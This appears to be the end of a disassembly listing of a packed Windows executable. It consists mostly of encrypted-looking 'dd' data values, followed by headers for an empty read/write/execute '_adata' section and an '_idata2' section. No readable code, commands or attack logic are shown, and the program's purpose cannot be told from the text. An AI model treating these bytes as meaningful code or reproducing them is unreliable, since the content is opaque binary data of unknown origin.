		dd 260C1185h, 8EDF554Fh, 5C1680D2h, 0D190F745h,	1E8B8DAAh
		dd 0FB3E921Ah, 58A0DD72h, 36B2644h, 53376D2Fh, 0FAAC00C1h
		dd 225FC3B8h, 0CEE250F5h, 0E4221913h, 8C622A0Dh, 5D748C15h
		dd 295A7A30h, 0B81F2455h, 45E5FBB3h, 196A1A2Eh,	58354599h
		dd 0F6943BAh, 4F162D29h, 5B1E083Bh, 856B50B4h, 0CBE62034h
		dd 4B0797h, 2B4F6108h, 38103696h, 71001F16h, 0AFB2993Dh
		dd 794C1081h, 80264A7Ah, 3E737B4Ch, 0ABD84C84h,	0BE06CAF8h
		dd 0A06C5206h, 0D4BE8857h, 7DF7792Ch, 0E9A0BBD2h, 5DC2FBCCh
		dd 947CECCCh, 0A0D925A1h, 2C1F3F38h, 0C08B155h,	0F72B4C1Bh
		dd 9B4B6E2Eh, 27AF9693h, 0F663D6A2h, 840B821Fh,	0C03DF5A9h
		dd 7B7E4B4Ch, 417B5F0Dh, 6EA0B6EFh, 4B6547A7h, 0E8B6C42h
		dd 0E9012CCBh, 0C28276F4h, 0E6D137FEh, 827800F1h, 0ACE96BCh
		dd 79784CCFh, 3376F041h, 0FEDB922Ah, 0C3A9D37Fh, 526716F7h
		dd 320989DFh, 0D27E4B40h, 0A5EA3B6Ch, 3F6CFF0Bh, 6802D51Fh
		dd 0DB569A4Ah, 0B8C21449h, 0F6AA865h, 609075F2h, 8CA97B8Ch
		dd 0DEABC0E5h, 0D2543C5Bh, 0DE773CDBh, 93BECAE1h, 2AF1B131h
		dd 0A8D5DDA4h, 8489C07Ch, 59BC9E06h, 785DCDBEh,	0ED2F4214h
		dd 37428B0Ch, 0BC99C9D8h, 0F6523B74h, 51618FA6h, 6C9CB979h
		dd 0E3C35369h, 0A92E1ED7h, 9CAC16F8h, 0E3D51657h, 0F41D116Eh
		dd 91F051E2h, 0DCDBD9AEh, 9D6CB21h, 0AA8CC165h,	45B7020Bh
		dd 0F648C86h, 2F93B7BDh, 1AAF20B7h, 0BAFBA7D3h,	56C0550Dh
		dd 3E530117h, 3264E540h, 261EBAB7h, 0FE524E73h,	9B2C011Dh
		dd 5AE0FF60h, 6E7D6BC1h, 26C8EF8Eh, 0F49C4339h,	39E5F527h
		dd 0D0A1B9B2h, 0A2F0376h, 0E6688474h, 0FF9F1BE4h, 0D0EF6ED1h
		dd 29221934h, 219660C0h, 0D34F3538h, 6EF2A228h,	0ABB09315h
		dd 9E074117h, 29037761h, 832FBAD7h, 61ED3258h, 76934D31h
		dd 0AEBF6E7Dh, 0BA6BB1EFh, 0E333BD38h, 0E6DB1D6h, 2F5FC419h
		dd 0FCEA5918h, 0F6CED88Fh, 0F48E0BA5h, 0A1C340BCh, 802C20DDh
		dd 2352213Bh, 0A4070746h, 3C8501F1h, 2973890Eh,	0BAAFDABFh
		dd 37C51F2Ah, 1F906DE7h, 0A90AD3B1h, 0E8E5640Eh, 0C88B9F28h
		dd 86645FBBh, 444D4030h, 0A79840C3h, 0F5FE00D3h, 0B2844A52h
		dd 5A2DFAA6h, 0FD75AB41h, 320CC91h, 21D78F2Eh, 9311B5F5h
		dd 0DE0686BCh, 4DCEC9BEh, 23EC62A9h, 4F6F4EBFh,	8DC1ED4Ch
		dd 0DC1EBF4Ch, 26C7AC6Fh
		dd 1DA80E7Ah, 911DCF35h, 51723006h, 5E78C241h, 90C6D19Dh
		dd 2158B5EDh, 8973AB76h, 1F27F20Bh, 0CC21C941h,	0AACBBD21h
		dd 7B045079h, 0BB5AE10Dh, 84CEE031h, 64C1B90Ch,	0C3864452h
		dd 6560E9EDh, 837288D0h, 239B0C39h, 766D1EC1h, 3BD9B5A5h
		dd 9C2EAE12h, 0AB9D6CE2h, 3F0D7464h, 7105C2FBh,	0EE371218h
		dd 0EC9DABC9h, 82138BC8h, 9242FCADh, 0BB0A9446h, 32B10A32h
		dd 8848DB22h, 20C4877Ah, 0FB77E9D9h, 2ADAB1C5h,	44046F84h
		dd 0AC3A6F03h, 0B11CDC98h, 6C7A545Ch, 0A8A514E9h, 0AE9B023Fh
		dd 0C4011B2h, 1A3B0779h, 16BC915Ah, 53742D3Ch, 0F85128D9h
		dd 0DC763EE6h, 0D2C2CCF2h, 66CD4F97h, 0C84E03E0h, 740E3810h
		dd 6A2E9736h, 0C0E53A52h, 0AA9E86C2h, 0EACBE5Bh, 284A62A6h
		dd 32519483h, 943B29Dh,	5FFEAA4Ch, 17F51685h, 0E25476F7h
		dd 0BE07F334h, 7AB6702Eh, 0ED66B8B1h, 0B655494Dh, 9C135369h
		dd 9C8642E3h, 0B6AC341Eh, 69E2F768h, 0D52B19F3h, 38245FDAh
		dd 0E40DE931h, 2282A01Fh, 0FD86A097h, 99016E4h,	0AA360997h
		dd 375CCD98h, 0EC7D28B9h, 0ADEA8573h, 0F31B70E2h, 0D0A4BD5Dh
		dd 1075FACCh, 39883015h, 52291983h, 1AA1C52Ah, 874B73D4h
		dd 2B59610Eh, 2DB108FDh, 6018867h, 0C273C11Fh, 2522F2BBh
		dd 8C360D91h, 51EC4647h, 8A380688h, 0E45E34C8h,	0CB9F58A5h
		dd 7DC83C4Dh, 4A4310C1h, 2A487787h, 0A5D947DEh,	832889A9h
		dd 9D35EB90h, 9244CA63h, 4263CD96h, 0FE024923h,	17155030h
		dd 3D767DA6h, 69B76459h, 0E5245605h, 0BC5FB7ECh, 3C960209h
		dd 8BC9AB8Bh, 4A594918h, 2BFCF2ECh, 0C4EB2C65h,	49243EE4h
		dd 0B0BFDC2Eh, 5E6DBF3Eh, 3221952Dh, 11861134h,	0D7CD6C3Dh
		dd 0C33ECC81h, 3DD50D60h, 6FE33A3Bh, 45CCA073h,	0C0A30DAEh
		dd 0E46EE553h, 4CB4F62h, 0ABB4FD75h, 0D8D1BAF9h, 664F419Ch
		dd 8346C89Eh, 4BCE1EF4h, 7AB7AF70h, 0F56B4FF0h,	0F262D98Ah
		dd 721F4351h, 2E101A59h, 6FF586CBh, 7AF1C965h, 664D3E1Dh
		dd 0C846BEF9h, 0CDA79190h, 0E103FEA0h, 2FA51E9Fh, 380D2FDEh
		dd 0CDE51B1Dh, 0C200A9F1h, 0AB281C92h, 4E2C0A2Ah, 56D5BE7h
		dd 59683FD8h, 1119C0B7h, 22390D6Eh, 3FFC38DCh, 0E4A93F35h
		dd 2D3972CAh, 4218AE7Dh, 3DB2344h, 853F6402h, 2D4E7890h
		dd 2AA6013Eh, 98F49C3Ch, 0E09A4330h, 87AD5804h,	9C3B4AEFh
		dd 68CA2A00h, 1CEFBDB9h, 848FCF9Bh, 316960EEh, 818A4C46h
		dd 3AA9FEF0h, 2527FDD4h, 1CBB52CCh, 6AFD5D0Bh, 0B52E1AD3h
		dd 2E01DA0Bh, 1F9C0D59h, 0A419296Bh, 0C198E851h, 0ECB2ADB2h
		dd 2F13273Fh, 2B95EEE1h, 845440F4h, 5B25FDE3h, 1AEE3D20h
		dd 51DA6DA0h, 68FC0AB4h, 564AD41Ah, 0DBD53049h,	0CEB64462h
		dd 9FD24202h, 9022A767h, 464E59BBh, 0B1990004h,	1E797BF2h
		dd 638D35C9h, 0D64C5F11h, 0C4A3FB29h, 8E003A2Dh, 48E436F3h
		dd 9E646E7Ah, 0DCF8B45Dh, 99B4DB19h, 23BBC8C7h,	0CE4296BEh
		dd 600DACB1h, 0C425591Eh, 8246F9ACh, 0DD283AD0h, 0A73F208Ch
		dd 8887E6C2h, 0DDEA1301h, 0F2FC2111h, 34F16645h, 0B98AB498h
		dd 99BBD9Dh, 3A6BE9F1h,	74BBB0E7h, 0EC2ECC1Ah, 562A4490h
		dd 8183C495h, 19FAE423h, 0FE4122F7h, 0B855C35h,	7405A25Fh
		dd 0A751346h, 1EBD7C19h, 0AA1845D0h, 0E2E56D17h, 0CF4446CDh
		dd 1D4DDF5h, 9C3701Ah, 8416EF99h, 489E9C88h, 0AE3D1419h
		dd 41E3F170h, 6DDD705Ah, 0E2DFB77Bh, 0BACE867h,	0AFCBF72Eh
		dd 4422708Ah, 0A19EBA2Eh, 0D591A306h, 0E0003672h, 1E3EB2BFh
		dd 0CB5C28A0h, 8E10950Ah, 0BF20657Dh, 51DF3B49h, 8D970562h
		dd 2BA47F0Bh, 0D1061F6Dh, 4BEFA972h, 808928B5h,	26E21F12h
		dd 6DCA4299h, 0E0EFFE44h, 88CDA0ADh, 62C2D711h,	27D387E8h
		dd 2A6E3BA8h, 0D286D753h, 46BFDD2Ch, 0EE0C3C81h, 48BA2F71h
		dd 0A87B9377h, 330DD05Ah, 0B66DE82h, 0D921FE90h, 0C74F9DC1h
		dd 824BC01Eh, 6CE9EA0Ah, 0FB6AC17Dh, 4EFD557Eh,	979DE31Ah
		dd 75C382CEh, 21AA9AC9h, 0B29447CCh, 6D4A8265h,	6E4E56A1h
		dd 7398A356h, 98295844h, 0BFF3673Dh, 0D69AE963h, 6B3CA52h
		dd 5F82ABE0h, 427068BFh, 0B018314Bh, 662DD059h,	69ED9FB8h
		dd 0FEA9EA60h, 0FC5F9ED4h, 60717820h, 1DB4B339h, 0C36099E1h
		dd 9F794774h, 6FD33904h, 0CEDBD625h, 5F5C66D8h,	7A874874h
		dd 6B1915Ah, 0F47E6D72h, 1F0BE22Bh, 223E7CF3h, 0C6C3FCF1h
		dd 0F61854BEh, 9F7771ADh, 8D626B45h, 47599527h,	0C04FDE36h
		dd 596FE014h, 2B06A42Bh, 3890DB39h, 0F653B80Bh,	5EAF4C9Bh
		dd 0E0C26EB2h, 823559E5h, 1CA82E10h, 0EB92AB48h, 0DD413690h
		dd 4A7727BEh, 3FB90E35h, 0F1AD533Ah, 97982723h,	371BC59Ah
		dd 931F8E25h, 7A6B054Bh, 4693DBC1h, 8ABDF20Ch, 4514C7h
		dd 3988C4E0h, 282A82E4h, 62F3FBC1h, 0C41A422Eh,	0EEA37EEEh
		dd 0C2BBDE58h, 0D9819613h, 14F7728Eh, 5040B34Ch, 881DA906h
		dd 0B61644D5h, 0DC08667Eh, 0EF9DC8FBh, 1053A386h, 0C8ED0C12h
		dd 0E17054A1h, 9ACFECh,	475E090Bh, 0C9BC7B08h, 0DA8F8275h
		dd 6C487A11h, 6669A565h, 0EB80534Ah, 0BD0D5D6h,	0FD6FD041h
		dd 8E3F1863h, 1EA05E7Ah, 0A462C650h, 0D069A7D4h, 0D6E3EAF2h
		dd 0F99DF377h, 0CD7BE20Dh, 44C76144h, 0AE6BDB30h, 845E37A7h
		dd 0A2253D01h, 0B1C563AAh, 24A3F18Fh, 294FE987h, 132BE0F9h
		dd 38F09844h, 39A5B200h, 308084B5h, 210A8D6Eh, 869064A5h
		dd 96E1ECBFh, 66C66B23h, 185C57FAh, 7DB9C9A5h, 72C2B9C6h
		dd 0AA69F85Fh, 1E013785h, 0E81721D3h, 5B75CCB8h, 378F18E8h
		dd 6118960Fh, 450CF951h, 0DC03897Fh, 4A079155h,	8240596Ch
		dd 0E8A132F8h, 0B589BAD9h, 0C2B8ACDCh, 193DF240h, 7BCE628Bh
		dd 757C747Fh, 0B3744ECh, 856649E3h, 8FE079BBh, 0C6A81E5Bh
		dd 0C0FBA03Fh, 23B5515Dh, 0D86A5039h, 0E741290Eh, 53B5E318h
		dd 978CC20h, 16425363h,	61E0658Ah, 0C7FF69F5h, 9AFB9A0h
		dd 0D5B52619h, 0B1A3C333h, 8594D20Bh, 1A828031h, 427E6C80h
		dd 0DB6A3CDBh, 0B3E69996h, 4036EEE1h, 0B125784h, 56D68DB8h
		dd 794BD186h, 2E596969h, 396B7202h, 0EA0D1229h,	7079E8C6h
		dd 0BF063F20h, 0C90D0BE8h, 1C45EFDEh, 0F8233853h, 0FEDA97ABh
		dd 658229A3h, 0AC420CBEh, 38FA13F0h, 91C8B4D3h,	0C07915F1h
		dd 4C976475h, 0FA9967EDh, 710525FCh, 28FE80F7h,	8DE43C36h
		dd 0EF30FE8Ah, 9CE25682h, 0FA9D4ECFh, 350FFF4h,	0DA1BEC13h
		dd 0B80496C7h, 0C0080C92h, 1F6B3AAAh, 0F96AF719h, 3994B4EBh
		dd 0FF158E4Bh, 8D7A602Dh, 4EFB266Fh, 2E05FCD9h,	5B5A2DABh
		dd 0CB4E6E01h, 0C07BD3D7h, 16D0915Ah, 0A65AA1Dh, 9D3EC2A1h
		dd 578CB987h, 0D343F237h, 66869456h, 1E676330h,	0FC94F0B2h
		dd 210E8D2Bh, 0CBF03E17h, 298A39A0h, 0D9D296CAh, 95EB4393h
		dd 8264D4C7h, 89F78CABh, 0CE3A53F2h, 9A47B0AEh,	0ADA006DDh
		dd 842012CDh, 716CE3F3h, 0B561797Ah, 135B00E5h,	4E9D05F5h
		dd 236442ECh, 35D1C27Eh, 7318C6D7h, 0F2431A02h,	0C2D5A8F5h
		dd 0F57013BAh, 0BF3D1ED6h, 0D4FBB7C2h, 2063AB07h, 7E46A6A8h
		dd 0CE748A2Ch, 5C533E97h, 0D015F6E5h, 875863A7h, 5E2C0CCFh
		dd 0F413F19Fh, 0A0466D10h, 0E3316D11h, 327EE9D4h, 1B11A24Fh
		dd 66AD365Ah, 588B6AFFh, 0A464FC3Ah, 0CCFDF4C7h, 2BF82B45h
		dd 1C111B9h, 0E5AC5494h, 0B64FCEF3h, 0B3CEC3DEh, 0BFE91BB5h
		dd 0BAB0960Dh, 8F993878h
		dd 5EE825B9h, 59A40BD3h, 0D0D35383h, 725A6783h,	0DBEA45E4h
		dd 1F0A7DA5h, 62EFC19Dh, 5369F789h, 0EBF3054Ch,	9052E55Dh
		dd 3E7DC691h, 65158E0Eh, 3E48D152h, 0B17D6629h,	0F7CBA13Bh
		dd 20BECEAAh, 0A046CF14h, 29F6EACDh, 42E6C019h,	9AD84E3Eh
		dd 58A148D2h, 16EC5FCCh, 0AF0BCB80h, 7E0BF5A6h,	9488A263h
		dd 0B5E6B86Ch, 800BB173h, 0D30285C4h, 9B77CAC7h, 0AA4B0F56h
		dd 52AF6EB2h, 39FFFCB3h, 518F9398h, 33C45809h, 5EBC442Ch
		dd 1D36A521h, 0ECF66163h, 0C678114Bh, 0B33BBF7Ah, 0F0747C44h
		dd 25679279h, 5A703D22h, 7AE5DF30h, 1B0DFD22h, 834F88D6h
		dd 0ACD6024h, 0A1FF70DAh, 0A57E3D6Fh, 1E5AD208h, 0D2635E4Ah
		dd 681799CEh, 37B5B27Eh, 0FD51843Ch, 963C1E61h,	2F289A9Ch
		dd 0DA3E5AD3h, 0DF00024Fh, 20EBA76Ch, 0C3B1B15Ah, 4B9C51CDh
		dd 0D8005124h, 7096BBA9h, 90144881h, 0E9F3C6EAh, 0D6923278h
		dd 0B2A1F07Bh, 87BDC4F0h, 0FD2A20D7h, 4913B15Ah, 3057000Ch
		dd 14F3D516h, 0EA305721h, 84AA20B5h, 3427F776h,	7C80C5EEh
		dd 6FA42BD9h, 754C41FAh, 0B5910768h, 0A6CC1A5h,	0A43FC60Dh
		dd 80582405h, 0A99EF15Ch, 0BA697D8h, 3F977DC5h,	1BF4C304h
		dd 241A2DEEh, 0CE62B3AEh, 0B91F89E5h, 338C9CBh,	0EA03C602h
		dd 0DE788325h, 37BF9E31h, 269A144Bh, 9DD3D810h,	819554F3h
		dd 0ED00004Eh, 5746D9Eh, 32D65934h, 0FB3C27BEh,	4DC74FA0h
		dd 0B2AB99A7h, 108D82DFh, 5011DD6h, 659EA741h, 7A82630Bh
		dd 0ED108343h, 9256376Bh, 737B190Dh, 0DAF199BEh, 2E7627E1h
		dd 0DE1122B7h, 0CE90F2BAh, 0D843B643h, 67E76ADFh, 45098EF9h
		dd 19508F9Dh, 327D8B8Fh, 940433FBh, 708FDB60h, 6FE30794h
		dd 89D3F204h, 4253F872h, 89D9CCF7h, 9B93E0FBh, 991A8258h
		dd 0C0BA7BF8h, 697334A0h, 4139BD9Bh, 6632388Ch,	54E86DA6h
		dd 0C7AFA6F7h, 0FB31096h, 687B2BD9h, 63C628E7h,	6D172B4Ch
		dd 0F052C45Eh, 0C0423BA0h, 0A8E55A6Ch, 5ED7E68Ch, 3C47F59Eh
		dd 6834C15Bh, 61F3B61Bh, 1237D139h, 0E0179C31h,	5DCA4289h
		dd 7D28A5F9h, 9D026750h, 9D073D09h, 0D6BF18A6h,	0D1B3F528h
		dd 0E3F75143h, 27909A2Ah, 72772A13h, 453489C6h,	0C9421BDFh
		dd 62CE648Fh, 66799409h, 31E0AEAh, 62DDE248h, 8CEEE725h
		dd 0AED7618Bh, 0A731958Fh, 1E1106DBh, 6F9FBFAFh, 3EA33155h
		dd 74E96D81h, 0FED4D52Ch, 8F8383C1h, 2F5DEDC8h,	7EECA954h
		dd 0C54A42E9h, 5B9D76AAh, 0F5637BE0h, 0DB77E94Dh, 21298CD5h
		dd 60C53D64h, 8A616621h, 0D7D4FE59h, 0E12FF9B1h, 72138486h
		dd 9DC19485h, 21C6A1F5h, 258E7F30h, 0E450B933h,	0C71DF572h
		dd 0F6FC1E28h, 886270E1h, 0B36BB70Ch, 0B7AB33A2h, 607E0866h
		dd 591B372Ah, 0B7E2741Bh, 63B15E1Bh, 521EE58Ch,	0C2EDF92Ah
		dd 0D337B4C8h, 38F2A118h, 0E9E7E5CAh, 14854B5h,	265EB9C9h
		dd 4C21F1FEh, 95938896h, 8D3CFE40h, 382CF10Eh, 8B4CBC4Dh
		dd 44F05797h, 52F388CBh, 31CAAAB3h, 0E7539887h,	9C5C8D9Bh
		dd 0D81FFCDCh, 0FE23BBF2h, 8D51F52Ch, 262BCC83h, 79629B65h
		dd 8E523C10h, 0E12CE9Fh, 7C1DCC34h, 8BC983BBh, 0F517314Eh
		dd 927F5422h, 7DCB0A87h, 95376783h, 0A74339DAh,	0B0FA3B7h
		dd 7B1C763Bh, 7DD339A0h, 0A12B44BFh, 5F377121h,	6AAD29E2h
		dd 0B87EDB27h, 9B123ED2h, 9DDABCC3h, 13470DD2h,	7B3BD44Dh
		dd 39A1BDA7h, 2EBD7B9Eh, 414D9418h, 0EAA6FA58h,	3A53BB7Ch
		dd 0FBEE4F3Bh, 0F12D655Fh, 485F258Dh, 0A7E4392Ch, 0AC3D3396h
		dd 89CC0DECh, 267FDB22h, 9C3F71Eh, 0CBA4291Ah, 0FB01AB88h
		dd 97050A2Ch, 8E802536h, 0FDC1EE85h, 2F2A76Dh, 5B42A992h
		dd 43400CC3h, 2B3CA9E0h, 479A5D3Bh, 125378FBh, 3F26C473h
		dd 0B73D986Dh, 9A28CCE6h, 6C87A3BDh, 0D5CBE53Ch, 0A9D9C392h
		dd 1E764CA7h, 57D579D0h, 0C2AA3055h, 0E285ADD3h, 767A37EAh
		dd 304D1BBAh, 618E451Ch, 4B8201B8h, 0FEB49E42h,	0F47F2983h
		dd 0D3065211h, 5240C3h,	0F09CF852h, 72F677A2h, 3CD1C1BAh
		dd 87237B5Eh, 9B17D0C3h, 73A2B9F0h, 0E255EAA0h,	0FE41F6CAh
		dd 93E27536h, 0F1493496h, 6F05C233h, 4B89E313h,	0DC07AE29h
		dd 49F66EFAh, 13D88CC0h, 47D40BFAh, 214766F3h, 626FDFB8h
		dd 0B9BA8764h, 0F56A7EEBh, 0DB8F5CB1h, 0E49AA186h, 3CF59FF3h
		dd 0B1704AE9h, 280h dup(0)
_data		ends

; Section 5. (virtual address 000FC000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000FC000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 4FC000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 400h	dup(0)
_adata		ends

; Section 6. (virtual address 000FD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FD000h
		align 2000h
_idata2		ends


		end start